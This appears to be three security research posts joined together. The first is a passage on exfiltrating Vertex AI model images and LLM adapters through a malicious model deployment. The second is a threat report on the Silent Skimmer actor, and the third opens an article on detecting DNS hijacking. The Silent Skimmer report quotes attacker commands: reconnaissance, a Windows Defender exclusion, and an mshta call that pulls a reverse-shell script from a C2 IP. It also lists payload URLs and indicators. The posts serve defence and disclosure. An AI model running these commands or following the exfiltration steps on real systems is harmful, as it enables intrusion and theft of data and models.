For each new deployment, GCP automatically uploads the image into a dedicated repository within the tenant project. Although we were running in the context of our own deployment (dm-2118255330398830592-pipeline-6604364906047209472), we now had visibility into other deployments that existed within the cluster.

Extracting the Model Images

While we could view our newly created image within the Kubernetes cluster, the question remained, could we extract or pull it? We had confirmed the image's existence by inspecting it in the Kubernetes context. However, to retrieve more detailed information about the image, we used GCP commands to describe it as shown below in Figure 15.

Screenshot of a code snippet displaying a URL address along with other code content, highlighted to show a specific segment focusing on a token parameter.
Figure 15. Describe the image in GCP to extract the digest.

This step revealed a critical piece of information. While the image name ends with lala:latest, we could not successfully use the string latest in our command because that is not a valid version identifier. Instead, our attempt returned the image digest, which serves as a unique identifier for the image version.

With the digest, we could theoretically pull the image, but the process wasn’t straightforward. We lacked the permissions to create a new container, and since the Docker socket wasn’t mounted to our container, we could not use Docker to pull the images.

Instead, we used crictl, a lightweight container runtime interface (CRI) tool combined with our GCP service account authentication token. This allowed us to pull images from outside the container using the permissions of the online-prediction service account.

By setting the authentication token of the online-prediction service account as an environment variable, we were able to pull the images using the commands shown in Figure 16.

Text showing commands entered in a terminal for pulling Docker images using Credential ID with specific pipeline numbers and alphanumeric codes.
Figure 16. Using crictl commands to pull the images.

After pulling these images, we could list the results as shown below in Figure 17.

A screenshot displaying multiple lines of computer code with URLs.
Figure 17. The model images after being pulled to a remote environment.

Once pulled, we exported the images into .tar files using ctr, allowing us to move and load them elsewhere.

Switching Context: Exploring Other Clusters

Now that we had gathered information from the first cluster, it was time to explore the other clusters we had discovered earlier. Since we had access to the get-cluster-credentials command and our GCP service account was bound to the clusters via IAM Workload Identity Federation, we switched context to cluster 2 as shown below in Figure 18.

A screenshot of three sections of code, all white text on a black background. They are grouped from left to right as Name, Cluster and AUTHINFO.
Figure 18. Kubectl get-context command.

Now we are operating in the context of cluster 2. Figure 19 shows the cluster 2 namespaces.

Terminal screen displaying output from the command 'kubectl get namespaces', showing namespaces named custom, gmp-public, gmp-system, kube-node-lease, and kube-system among others, all listed as Active and having an age of 85d.
Figure 19. Cluster 2 namespaces.

In this cluster, the prediction namespace was no longer present. We began by enumerating the pods and containers. Much of the cluster was composed of default Kubernetes resources, and we found images with prediction-server in the name stored in our tenant project’s repository, like Figure 20 shows:

  • us-central1-docker.pkg.dev/s154574aecb0c9653-tp/ucaip-deployed-model-1558744649349201920/prediction-server:20231117_1325
Text highlighted in red indicating the prediction server.
Figure 20. The prediction server (model endpoint) deployed to cluster 2.

In cluster 2, we identified one such image. Pivoting on that, we found two additional images in cluster 1 with the same production-server string in the name:

  • us-central1-docker.pkg.dev/s154574aecb0c9653-tp/ucaip-deployed-model-1932543418420953088/prediction-server:20231117_1325
  • us-central1-docker.pkg.dev/s154574aecb0c9653-tp/ucaip-deployed-model-6762636426589765632/prediction-server:20231117_1325

These images represent other deployments that other teams created in our project. Surprisingly with the same method previously described, we could download those images from other clusters. In fact, we had access to download images of all deployed models in the project.

Vertex AI Fine-Tuned Adapter Layer Extraction

As the above method was effective for ML model images, we also wanted to access LLM-based Vertex AI models. While ML models can be exported from GCP as we just demonstrated, LLM models have more restrictions in GCP. For example, Figure 21 shows a screenshot of a GCP panel with an LLM model where the export function is grayed out.

Screenshot of a web interface showing details of a model named 'food-3' in a platform, with the creation time, model ID, region, and encryption status displayed. The interface includes tabs such as Evaluate, Deploy & Test, Batch Predict, and Version Details. A red arrow points to EXPORT.
Figure 21. An example for a tuned LLM model where the export function is grayed out.

When creating a fine-tuned LLM model, GCP adds a fine-tuning layer called an adapter. This adapter layer is the additional weights created by the fine-tuning data.

By listing all the buckets in our tenant project, we discovered that all deployed models were uploaded there. Since our GCP service account had viewer permissions, not only could we list these buckets, but we could copy them. Within the buckets, we uncovered a directory structure resembling that of ML models. Figures 22 and 23 show that these bucket identifiers all start with the string caip.

Screenshot of a computer screen displaying a directory structure in a command-line interface. The structure includes various files and folders, such as assets, variables, and models, related to predictive data analytics, within the Azure cloud computing service.
Figure 22. List of Cloud Storage buckets in the prediction tenant project.
Computer screen displaying a directory structure with various files and folders. The files are organized hierarchically, typical in software development environments. Some lines are underlined in red.
Figure 23. Directory structure of the caip Cloud Storage buckets pulled to a local environment.

Figure 23 highlights two strings of numbers in the bucket path that act as a deployed model ID for each bucket. We could use this information to trace these buckets back to the original model ID in our source project model registry.

Using the first example in Figure 23 of 3091243956143390720, we traced this bucket back to our source project model registry as illustrated below in Figures 24, 25 and 26.

In Figure 24, our search revealed an endpoint with the same ID string as the deployed model ID from the first bucket listed in Figure 23. Directly below that is an associated model ID.

Screenshot of a computer interface displaying information about a deployed machine learning model, including various technical details like model IDs, machine types, endpoints, and deployment status. The background is black. The deployed Model ID and the Model ID are highlighted by red arrows.
Figure 24. Finding an endpoint with the same ID string as the first deployed model ID in Figure 23.

In Figure 25, we pivot on that same deployed model ID to find yet another associated model ID.

Screenshot of a computer interface displaying information about a deployed machine learning model, including various technical details like model IDs, machine types, endpoints, and deployment status. The background is black. The deployed Model ID and the Model ID are highlighted by red arrows.
Figure 25. Pivoting on the same deployed model ID to find another associated model ID.

Figure 26 shows these same associated model IDs were present when we checked our source project.

A computer screen displaying a list of model names and IDs in a command line interface, featuring names such as "cmb-final-down", "rcme-ll-model-server-ai", and "final-turnado-stage". Two lines are highlighted in red boxes.
Figure 26. The model IDs in the source project.

Impact

We found out that we had all the ML models that have been deployed to endpoints. So at the beginning, we had all the images of the models, and now we also had all the ML models.

Even more alarmingly, we discovered adapter files within these buckets as Figure 27 below shows. These adapter files are critical components of the fine-tuning process for LLM models, and they contain the weights that directly alter the behavior of the base model.

Although the name of the example in Figure 27 is adapter.txt, the content is not readable text. However, the content of these adapter files contains weights representing highly sensitive, proprietary data, which makes them an invaluable target for attackers.

Screenshot showing a selected file named in a directory listing within a software interface.
Figure 27. Example of an adapter file for a fine-tuned LLM from an exported bucket.

In summary, by deploying a malicious model, we were able to access resources in the tenant projects that allowed us to view and export all models deployed across the project. This includes both ML and LLM models, along with their fine-tuned adapters.

This method presents a clear risk for a model-to-model infection scenario. For example, your team could unknowingly deploy a malicious model uploaded to a public repository. Once active, it could exfiltrate all ML and fine-tuned LLM models in the project, putting your most sensitive assets at risk.

The flow diagram in Figure 28 shows an example of this model infection attack using the following steps:

  1. Poisoned model is prepared and uploaded to a public repository
  2. Data engineer downloads and imports the model
  3. The model is deployed, granting access to the attacker
  4. The attacker downloads the model images
  5. The attacker downloads the trained models and LLM adapter layers
Attack chain diagram. From a public repository, the malicious model is imported into the GCP Vertex AI platform where the model is then deployed.
Figure 28. Poisoned model leads to intellectual property exfiltration.

Conclusion

This research highlights how a single malicious model deployment could compromise an entire AI environment. An attacker could use even one unverified model deployed on a production system to exfiltrate sensitive data, leading to severe model exfiltration attacks.

The permissions required to deploy a model might seem harmless, but in reality, that single permission could grant access to all other models in a vulnerable project. Only a very few individuals should have the permission to deploy new models in a project containing sensitive or production models without strict oversight.

To protect against such risks, we must implement strict controls on model deployments. A fundamental security practice is to ensure an organization's development or test environments are separate from its live production environment. This separation reduces the risk of an attacker accessing potentially insecure models before they are fully vetted. Whether it comes from an internal team or a third-party repository, validating every model before deployment is vital.

This highlights the critical need for Prisma Cloud AI Security Posture Management (AI-SPM) to help ensure robust oversight of AI pipelines.

If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:

  • North America Toll-Free: 866.486.4842 (866.4.UNIT42)
  • EMEA: +31.20.299.3130
  • APAC: +65.6983.8730
  • Japan: +81.50.1790.0200

Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.

Silent Skimmer Gets Loud (Again)

Posted on by Samantha Stallings

Executive Summary

In late May 2024, Unit 42 researchers observed an adversary compromising multiple web servers to gain access to the environment of a multinational organization headquartered in North America. Based on overlaps in adversary infrastructure and tools, as well as tactics, techniques and procedures (TTPs), it’s possible to attribute the activity identified to the same threat actor behind the Silent Skimmer campaign.

In September 2023, an online payment scraping campaign was uncovered and dubbed Silent Skimmer. Since then, there has been little to no news of Silent Skimmer – until now.

According to our research, the financially motivated threat actor behind the Silent Skimmer campaign is targeting organizations that host or create payment infrastructure and gateways. Unit 42 tracks the activity identified in this article as CL-CRI-0941.

Palo Alto Networks customers are better protected from these threats through Cortex XDR and XSIAM, as well as Cloud-Delivered Security Services including Advanced URL Filtering, Advanced DNS Security, Advanced Threat Prevention and Advanced WildFire. Cortex Xpanse is able to identify internet-facing instances of Telerik UI. Organizations can engage the Unit 42 Incident Response team for specific assistance with this threat and others.

Related Unit 42 Topics Remote Code Execution (RCE)

Observed Activities and TTPs

In May 2024, Unit 42 researchers investigated an incident where attackers compromised multiple web servers to gain access to their environment and dump payment information. The threat actor gained an initial foothold on the servers by exploiting a couple of one-day Telerik user interface (UI) vulnerabilities.

Telerik UI is a popular framework for developing the user interface of ASP.NET web applications. The threat actor attempted to exploit two Telerik UI vulnerabilities to gain initial access to the environment:

Adversaries commonly exploit both of these vulnerabilities. They are a part of CISA’s Known Exploited Vulnerabilities Catalog.

The vulnerabilities allow for remote code execution on servers running older, vulnerable versions of Telerik UI. We recommend upgrading to the latest available version.

Following the vulnerabilities' exploitation, the attacker executed multiple reconnaissance commands and gained persistence. The following commands were among those executed:

  • set
  • whoami
  • quser
  • net user
  • dir
  • tasklist /svc
  • ipconfig
  • netstat -ano | findstr \"443\"
  • net localgroup administrators
  • dir c:\users\public
  • "C:\Windows\system32\ARP.EXE" -a
  • "C:\Windows\system32\systeminfo.exe"
  • "C:\Windows\system32\reg.exe" query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions" /s
  • cmd /c hostname

The threat actor leveraged several techniques to achieve a foothold and execution onto the servers and environment.

The attacker uploaded multiple web shells, mainly to the following directories:

  • C:\Users\Public\Music\
  • C:\WebRoot\Health Checks\Default\
  • C:\WebRoot\Web Applications\*\*\Images\Common\
  • C:\WebRoot\IIS\Web Applications\*\*\Images\Common\
  • C:\WebRoot\IIS\Web Applications\Production\*\*\Images\Common\

The attacker also dropped and executed multiple reverse shells, as we describe later in the Reverse Shells section. These reverse shells were responsible for the rest of the executions we describe in this article.

We also observed that the threat actor used tunneling and reverse proxy tools such as Fuso and FRP. These allowed the attacker to expose the exploited servers located behind a network address translation (NAT) or firewall to the internet.

We observed the following reverse proxy executions:

Screenshot of bulleted list of the reverse proxy executions.

We observed the attacker using GodPotato for privilege escalation. GodPotato executed using a Base64-encoded PowerShell command that translated to the command shown in Figure 1 below.

Screenshot of a command line interface displaying a PowerShell code snippet.
Figure 1. GodPotato download and execution.

The attacker retrieved other GodPotato payloads from http://48[.]218.138.60/a.txt and http://48[.]218.138[.]60/m.txt. They used these to execute powershell -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath D:\ to add D:\ to the Windows Defender exclusion list to evade detection.

Native C++ Code Embedded within .NET Binaries

To bypass the security measures and make the analysis process more difficult, the threat actor used .NET binaries with native C++ code embedded by leveraging mixed mode assemblies. The threat actor used this as a way to include code from one programming language embedded in another, which is an old technique some programming languages natively support.

In this case, mixed-mode assemblies were used to embed native C++ code within a .NET binary. As a result, some .NET binary analysis tools are unable to analyze the embedded (unmanaged) code. This requires researchers to put in extra effort to identify the malicious payload. In 2022, Mandiant [PDF] used a sample employing this technique in their annual FLARE-On Challenge.

The threat actor used this feature to create .NET wrapper binaries to execute malicious code. So when analyzing the binaries with .NET analysis tools like dnSpy for instance, there is no code to be executed as shown in Figure 2.

Screenshot of a code editor displaying a simple code snippet with the 'using System;' directive and an internal class declaration named '<Module>'.
Figure 2. Empty .NET code.

Although this is not always the case, Figure 3 shows how dnSpy can identify the usage of mixed mode assemblies and warns about the unmanaged code, also showing the native entry point.

A screenshot of code indicating that the assembly contains unmanaged code, with specific sections highlighted, using the .NET Framework 4.
Figure 3. dnSpy warning on the usage of unmanaged code.

When jumping to the native entry point address, it is possible to identify the native code as shown in Figures 4 and 5.

Screenshot displaying source code in an IDE, featuring lines of assembly language associated with the DllMainCRTStartup function. Some of the code is highlighted in a red box and a segment is underlined in red on the first line.
Figure 4. Native entry point content.
Screenshot of a code snippet written in C/C++ that appears to handle process attachment and detachment with function calls identified by markers pointing to specific lines.
Figure 5. Native code calling the function written by the threat actor.

By following the execution flow, it is possible to reach the malicious command executed, as identified in Figure 6. The malicious command uses Microsoft HTML Application Host (MSHTA) Living Off the Land Binaries (LOLBin) to download and execute a remote HTA (HTML Application) payload. It then proxies the execution of the malicious code through a legitimate and official binary.

Image depicting a computer screen with a flowchart and assembly code. The flowchart includes steps labeled "detonation proc begin," "short_exit," and "detonation end," connected by arrows. The code includes commands related to network data handling, and there is an emphasized portion showing a network address "http://20.20.240.16/SecurityDataEntry.stra". Red arrows highlight the connection between the flowchart and specific parts of the code.
Figure 6. Embedded native code executing the malicious command.

RingQ Loader

During the investigation, Unit 42 researchers observed the threat actor leveraging the RingQ loader as part of their arsenal. The RingQ loader comprises two main components. One is a tool that creates an encrypted file containing the binary to be loaded and executed, and the other is the loader itself, which reflectively loads the binary.

RingQ can also act as a downloader if configured to do so. Figure 7 shows the logic of the loader and the execution branches to load the encrypted file locally or remotely from a URL specified in the binary resources.

Screenshot of a computer screen displaying code in a text editor. Various arrows indicate the most relevant parts of the code.
Figure 7. Execution logic source code from the GitHub repository.

The samples identified in the activity covered in this article use different methods to load the encrypted payload. Figure 8 shows the value set to the Portable Executable (PE) string table resource of the RingQ loader to download the encrypted payload from a remote URL.

Text from a code editor showing a STRINGTABLE in a programming language, including a URL link in the fourth line, configured for simplified Chinese language settings.
Figure 8. Remote location of the encrypted payload using the RingQ author nickname as the filename.

The GitHub repository of the RingQ loader also includes a tool (QVM250) to tweak the resources of the PE file and include resources from original binaries in an attempt to trick and bypass some security measures. In the activity identified, one of the samples was mimicking PuTTY, a common SSH client for MS Windows (Figure 9).

Screenshot of a software interface for PuTTY, displaying an "About PuTTY" dialog box with version information and buttons for viewing the license, visiting the website, and closing the dialog.
Figure 9. Fake resources included in the loader.

Compiled Python - Dumping Payment Information

After the adversary secured web shell access on the server, they wrote a Windows executable to disk with a .txt file extension. Based on strings in the binary, we could determine that it was a Python script compiled to an executable with PyInstaller (Figure 10).

Command Prompt window open on a desktop showing error messages related to PyInstaller and the conversion of file paths to UTF-8. The prompt is located at C:\malware\strings.
Figure 10. PyInstaller compilation strings.

Using a tool like PyInstaller Extractor, we could reverse that process and extract the compiled Python bytecode. The bytecode is readable but harder to understand. By using a tool like uncompyle6, we reverted the Python bytecode to its original Python form.

The nearly 8 MB original executable boils down to a simple Python script, shown below in Figure 11. The rest of the files were artifacts of PyInstaller that allow for proper packaging and execution. The script itself is simple and uses hard-coded credentials to connect to a database in the victim’s organization and dump payment information to a .csv file.

Screenshot of Python code using the pyodbc module to run a SQL query on a database, fetch data, and write it to a CSV file named 'out.csv'.
Figure 11. Python script for executable.

Reverse Shells

Once the threat actor gained a foothold on the servers by exploiting the Telerik vulnerabilities, they attempted to achieve persistence by dropping multiple web shells as well as multiple PowerShell reverse shells.

During our investigation, we observed that the threat actor installed reverse shells by executing multiple MSHTA commands that retrieved an .hta script from a hard-coded IP address, such as the following:

  • mshta http://172[.]86.96.245/129-80.hta (the .hta file script shown in Figure 12)
This image shows a computer screen with a script written in a programming language. The screen displays multiple lines of code.
Figure 12. 129-80.hta script content.

We observed these executions with multiple different IP addresses and file names. The IP address in the URL was also used as the command and control (C2) IP address for the reverse shell. The filename represented the port in most cases, which is shown in the first two lines in Figure 12. The .hta file shown in Figure 13 is a VBScript that executes a Base64-encoded PowerShell command that decodes to a PowerShell script.

Screenshot of programming code on, set in a text editor with highlighted syntax.
Figure 13. The reverse shellcode.

The reverse shells were also installed by downloading a .ps1 script, which is the reverse shell, using PowerShell's Invoke-WebRequest utility and executing it (Figure 14).

Screenshot of PowerShell code.
Figure 14. PowerShell executes Invoke-WebRequest utility.

Attribution and Overlaps

One of the Cobalt Strike C2 IP addresses identified in this activity matches an IP address mentioned in a Sophos X-Ops report, where a similar infection chain resulted in an Ambitious Scorpius (BlackCat) ransomware attack. Since Ambitious Scorpius stopped operations after performing an exit scam, this overlap may belong to an affiliate or a cybercrime cluster used across both attacks.

The BlackBerry Research and Intelligence Team first wrote about the Silent Skimmer campaign back in September 2023. LevelBlue Labs later published their own findings. Since then, we haven't heard much about the campaign.

A significant number of the TTPs we observed in our investigation align with the ones described in BlackBerry's blog starting from the initial access vector, which is the exploitation of publicly facing web servers. Specifically, both campaigns involved the exploitation of Telerik UI vulnerabilities that are over 5 years old.

Following initial access, there were mostly identical techniques of installing reverse shells by executing mshta.exe, which downloads and executes an .hta script. While in BlackBerry's incident, the .hta file is a VBScript that downloads and executes a .ps1 script using certutil.exe, which is the reverse shell. In the incident Unit 42 was involved in, the .hta file is a VBScript that executes a PowerShell encoded command that decodes to a PowerShell script, which is the final reverse shell.

In the incident we were involved in, the attackers used reverse proxy tools and web shells to maintain persistence and control over compromised systems. Additionally, they leveraged GodPotato (a privilege escalation tool) and deployed Cobalt Strike for post-exploitation activities. These findings align closely with the tactics detailed in the BlackBerry blog.

The main difference between the campaigns is the method used to extract the payment and financial data. In the campaign described by BlackBerry, the attackers append malicious code to different payment-related pages that scrape the payment data. In the campaign we observed, the threat actor used a compiled Python script to connect to a database in the victim’s organization and then dumped payment information to a CSV file for exfiltration.

With all this information, in alignment with the Unit 42 naming convention procedures, we are tracking this threat activity cluster as CL-CRI-0941.

Conclusion

The threat actor behind Silent Skimmer has resurfaced after a year, now leveraging a new technique for scraping payment details. Despite this update, the group's TTPs remain largely consistent with previous activity. This persistence underscores the need for organizations to stay vigilant and patch vulnerabilities promptly to defend against this enduring threat.

Palo Alto Networks customers are better protected from the threats discussed in this article through the following products:

Cortex Xpanse is able to identify internet-facing instances of Telerik UI, including versions that are specifically associated with the vulnerabilities above.

If you think you might have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:

  • North America Toll-Free: 866.486.4842 (866.4.UNIT42)
  • EMEA: +31.20.299.3130
  • APAC: +65.6983.8730
  • Japan: +81.50.1790.0200

Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.

XQL Queries

Indicators of Compromise

Value Type Description
55271d94eb3c95bb6a1965d44bade5ecef5ff610e87133f169e602eb94c39d6b SHA256 RingQ Loader
1b325d32bc99db4b16e2cc4d4810c195f3643936d7ff5baee43ddd18cae9b2a6 SHA256 RingQ Loader
85d67f9f6f82de5a8f5f92fcf9a82bbed2ff6f6d91a06a058a40c5a64882149b SHA256 RingQ Loader
b44e6fd83b87d50c8aa8cf62de2578a13c22292fcf298b7664ed828804280dbe SHA256 RingQ Loader
e3746de8993069f343a7334046a2361318e213e13883513a7c0713a847fd4dc9 SHA256 RingQ Loader
64ae2bf6920311be2521c47678c04299bd24c2caec2df5b340aa212a69760fda SHA256 RingQ Loader
12508b830149c2d84f2c80947e78218128d16a834c8d0695068f3e773ac62ef9 SHA256 GodPotato
0aa0ca465170315d2f02c471d5d96ce5fbd6076f59be83fa5398968e951a5f51 SHA256 GodPotato
dc53581d4c9140b0f987eb6686d67db6d777f8c89114b062be35b8f2847aa66f SHA256 Usage of mixed mode assemblies
3579bae222eb8d7a7c3c16598cf9e81aecbbfc1a2ac2168430e48acfb02cfb24 SHA256 Usage of mixed mode assemblies
5d82f31bc37aa18e5c5110968b1a85aa419c6e2840e17074d2519ed9ad5b914c SHA256 Usage of mixed mode assemblies
5ef5c841f74f9331efb5a43cd16d62fd27eb8293888e872a17c7a57795e37d75 SHA256 Usage of mixed mode assemblies
7dadff4d883b32c01bbcb96baf081649dbfadd186b934a7fd3c9754e0ba87ab3 SHA256 Usage of mixed mode assemblies
8ae2b420245ebbd983d42bb2d8ceb92f2e7ef40181d8f1cb347797ee7a61b2a1 SHA256 Usage of mixed mode assemblies
c0244fafbd5231730fdd0bfef2a972dd074f52ca46dc377494424269add81d2b SHA256 Usage of mixed mode assemblies
c73e3b300ac9eb956a471cefb2282602834b5809c46b7807cfc06f671a5d9f8f SHA256 Usage of mixed mode assemblies
f9e5e09788.ipv6.1433.eu.org Domain  Connectivity checks
http://20.222.194[.]41/SecurityHealthSystray.hta URL MSHTA payload
http://20.210.230.146/SecurityHealthSystray.hta URL MSHTA payload
http://13.78.113[.]103/One.ps1 URL PowerShell payload
http://13.71.153[.]8/logtest.ps1 URL PowerShell payload
nigntboxcdn[.]com FQDN Exfiltration
342daa41ba3989d5ecb95c7c19a55c1a00c12b6c2faa2cac052bc910a6edd56f SHA256 Web shell
28f0f37fcdee2ac2c022bb454b30f05458075434fa57662af2de22ba5cfb45c1 SHA256 Web shell
29a81d3125ab1c886266a03902204253708f8d181c547a88ceb447ef59f99f60 SHA256 Web shell
9b29964d0b3d026aa01713dbdf4361439788c05c8eb8723fc7cfb933245dec45 SHA256 Web shell
311935e115d678adbe502c8cc4e5396323f3f015ee186df6dc9f67ae0248104b SHA256 Web shell
06710575d20cacd123f83eb82994879367e07f267e821873bf93f4db6312a97b SHA256 Web shell
20[.]37.116.136 IP address C2
167[.]88.168.11 IP address C2
45[.]61.166.209 IP address C2
172[.]86.123.127 IP address C2
48[.]218.138.60 IP address C2
172[.]86.105.129 IP address C2
172[.]86.96.245 IP address C2
20[.]188.26.190 IP address C2
13[.]78.113.103 IP address C2
13[.]78.94.29 IP address C2
52[.]253.107.167 IP address C2
20[.]89.43.151 IP address C2
20[.]222.194.41 IP address C2
20[.]222.138.18 IP address C2
60[.]204.201.75 IP address C2
5acac9846035863b178ff75fb2a8bdcd53e5d496007d032c3fb20e0dc8306fd9 SHA256 Shellcode runner
b1d10328d0cbe3413d1ec15888e5772e323798072fda1285f17b61a96bf0e34e SHA256 Unknown
91a5f92908c561f1d1814d36da613c5b7411bb45554e1b2d19713f1f6d50a10c SHA256 Cobalt Strike
8240d49629a558acc0426dff40c042fa989fb46159bb5971ee3c4211b68a59d0 SHA256 Unknown
a2a17e561d50f69e011598fd2e03b0376f6468609a1b2d6be9d458ee5c8b397d SHA256 Unknown
b1da7982199597882a2da8c45114f4cf74fed64447fca8c5f58ced24d7085c77 SHA256 Reverse shell
1c9a9732d600d975b5b44ab326d5cc99123a84d5b400a189902ff6d249a24bda SHA256 Reverse shell

Additional Resources

 

Automatically Detecting DNS Hijacking in Passive DNS

Posted on by Janos Szurdi

Executive Summary

In this article, we explain our process of detecting domain name service (DNS) hijacking and provide some notable examples of this detection from the first half of 2024. DNS hijacking allows cybercriminals to modify DNS records of domain names and redirect users to malicious servers.

Threat actors compromise domains for a variety of different types of attacks, including meddler in the middle (MitM) attacks, drive-by downloads, phishing and scams. Hijackers use a victim domain's reputation to direct victims into malicious campaigns, independent of the expectations of its original visitors. For example, to hijack domains criminals can steal domain owners' credentials at registrars or DNS service providers or alternatively infiltrate these services.

To detect DNS hijacking, we process an average of 167 million new DNS records every day. After initial preprocessing, we take the remaining records that are candidates for detection as DNS hijacking, and we extract 74 features from over 169 terabytes of passive DNS (pDNS) and geolocation data. We then use a machine learning model to predict whether or not these candidate records are truly the result of DNS hijacking.

Between March and September 2024, our detection pipeline processed over 29 billion new records and identified 6,729 as hijacking, with an average daily detection of 38 records. Recently, we deployed a new version of our model that can detect DNS hijacking in our customers' traffic in around 10 minutes.

This article provides some notable examples of DNS hijacking that our pipeline has detected over this period. Examples include:

  • The DNS hijacking of a Hungarian political party's domain name
  • The defacement of a large utility company and internet service provider (ISP)
  • Using the domains of a university and research center to host illicit gambling

Palo Alto Networks Next-Generation Firewall customers receive protection from DNS hijacking via our automated classifier in the Palo Alto Networks Advanced DNS Security subscription service.

Palo Alto Networks Cortex Xpanse and Cortex XSIAM can help customers detect and respond to potential subdomain hijacking risks by identifying susceptible CNAME DNS records on customer-attributed domains.

If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team.

Related Unit 42 Topics Cybercrime, DNS Hijacking

Background

DNS hijacking is a pervasive threat that can have catastrophic consequences for domain owners and their customers. An incident on Oct. 22, 2016, is a stark example of this. Cybercriminals seized control of the entire online operation of a major Brazilian bank with over 5 million customers and 500 branches worldwide, as reported by Kaspersky Lab.

The attackers gained control of online banking, mobile, point-of-sale, ATM and investment transactions. During the 5-hour attack, the criminals collected electronic transactions, redirected users to phishing sites to steal their login credentials, and attacked users with malware.

When the malware successfully infected customer's machines, it first disabled antimalware software to avoid detection. It then harvested various credentials and targeted other banks the customer might have used.

The attackers gained control of the bank's online assets by compromising the bank's DNS service provider. While the criminal group's method of compromising the DNS service provider is unclear, the attackers were able to control 36 domains belonging to the bank.

The attackers also abused Let's Encrypt as a free and legitimate certificate authority, establishing certificates to make communication with these domains and subsequent malicious servers look legitimate. In summary, DNS hijacking landed a major bank's entire operation in criminal hands.

Threat actors often abuse, take advantage of or subvert legitimate products for malicious purposes. This does not imply that the legitimate product itself is flawed or malicious.

DNS Hijacking in Practice

Threat actors can hijack DNS records using different methods. An attacker can take over the domain owner's account at a domain registrar or a DNS service provider or infiltrate the registrar/DNS service provider.

For example, attackers can use phishing, password guessing or breach another site to take over accounts. In such scenarios, mitigation techniques such as Domain Name System Security Extensions (DNSSEC) or encrypting DNS queries and responses (e.g., DNS over HTTPS and DNS over TLS) are insufficient to prevent attackers from hijacking the records.

Alternatively, attackers can hijack DNS records via DNS cache poisoning or other attacks manipulating DNS responses, such as MitM attacks intercepting communication and modifying the DNS queries on the fly. Cybercriminals hijack DNS records and change the resolution of domains to redirect requests for a domain to a destination they control. DNS hijacking is typically a precursor to other attacks, such as scams or drive-by-downloads.

Automatic Detection of DNS Hijacking

Automatically detecting DNS hijacking is an extreme needle in a haystack challenge. While there are hundreds of billions of DNS records, only a few dozen of them are known cases of DNS hijacking. Figure 1 provides a high-level overview of our machine learning-based detection pipeline consisting of four main steps: preprocessing, feature extraction, machine learning prediction and post-processing.

Diagram illustrating a process for DNS hijacking detection. The workflow includes steps like 'New DNS Record', 'Preprocessing', 'Candidate DNS Hijacking Record', and more. Each step is connected through arrows to show the flow from one process to the next.
Figure 1. Overview of DNS hijacking detection pipeline.

The pipeline relies mainly on two datasets: pDNS and geolocation data. PDNS is a collection of hundreds of terabytes of historical DNS queries and responses from our customers as well as various global vantage points. Geolocation data maps IP addresses to their geographical location (e.g., country), ISP and Autonomous System Number (ASN).

The first step in our automatic detection of DNS hijacking is preprocessing, which takes new, never-before-seen DNS records as input. DNS hijackers need to create new DNS records to redirect users to their malicious servers, making new records a good starting point.

Preprocessing removes invalid records and records of new domain names. Never-before-seen hostnames are removed as we lack sufficient historical information about them to reliably decide if DNS hijacking were to occur.

We have a separate detector for domain shadowing, which is a special case of DNS hijacking where attackers stealthily create new malicious subdomains under compromised domain names. We also remove records that we observe in the history of the registered/root domain portion (e.g., google.co.uk in the case of www.google.co.uk) of the domain name. We consider the output of this preprocessing as our list of candidate DNS hijacking records.

In the second step, our pipeline extracts 74 features about these candidate DNS records using pDNS and geolocation data. Some features compare the historical usage of the new IP address to the old IP address of the domain name in the new record. For example, we compare the number of domains for which an IP address is a new IP address.

Other features compare the geolocation of the IP address in the new record to the historical IP addresses of the domain name. For example, we compare whether the IP address in the new record has a geolocation never seen before for the domain name.

The detector also considers features that describe the pDNS history of the root domain (e.g., how many IP addresses it has resolved to and in how many countries). Once the detector computes a feature vector for a candidate DNS hijacking record, our pipeline sends it to a pre-trained machine learning model.

Third, our machine learning model provides a probability score indicating the likelihood that the candidate DNS hijacking record is really DNS hijacking. We trained a random forest classifier using DNS hijacking records collected from various reports, and records from our pDNS dataset as our benign dataset.

Our benign dataset might contain a small number of DNS hijacking records, but our training algorithm can tolerate this amount of imperfection in our labeled data. The classifier's outputs are the predicted DNS hijacking records.

In the fourth and final step, we further process the predicted DNS hijacking records to decide if they are truly hijacking. While pDNS allows us to observe and process hundreds of millions of new records, it only provides a limited view about these new records.

To address this issue, we collect additional information about the predicted DNS hijacking records that would have been too expensive at an earlier step. First, we look at WHOIS data of the domain name in the records. WHOIS provides domain registration data and can tell us if a domain was recently reregistered, eliminating potential false positives.

We also conduct active crawls for the domain name's website using the IP address found in the new record as well as using IP addresses the domain previously resolved to, according to pDNS. If the different web crawls provide identical content or HTTPS certificates, then we don't consider the predicted DNS hijacking record a true DNS hijacking record. We use the final output of our pipeline to block DNS hijacking records for our customers.

Detection Results

Between March 27, 2024, and September 21, 2024, our pipeline has processed over 29 billion new records. It has also selected more than 583 million candidate DNS hijacking records to process further in our machine learning pipeline. After prediction and post-filtering, our pipeline identified 6,729 records as DNS hijacking.

Figure 2 shows that our machine learning pipeline classifies around 3.3 million candidate DNS hijacking records daily (blue line). After post-filtering, we are left with an average of 38 DNS hijacking records a day (red line).

Line graph depicting the number of candidate records and hijacking records over time from April to September 2024. The candidate records line, shown in blue, ranges between 0 and 500,000, while the hijacking records line, shown in red, fluctuates between 0 and 150.
Figure 2. Daily counts of candidates and predicted DNS hijacking records.

DNS Hijacking in the Wild

DNS Hijacking of Two Companies by Same Group

On May 8, we detected two domains of one of the largest utility management companies in the U.S. pointing to a new IP address at 176.9.24[.]28. The FTP service of the website was particularly suspicious, because it had been previously hosted on a different IP address since 2014, as shown in Figure 3.

Internet record showing an IP address hijack. The IP address is from Falkenstein, Sachsen, Germany, hosted by Hetzner Online GmbH, with details of geolocation, ISP data, and timestamps for last and first seen dates highlighted.
Figure 3. The detected hijacked record for the FTP service. This record was also detected as hijacking for the main domain.

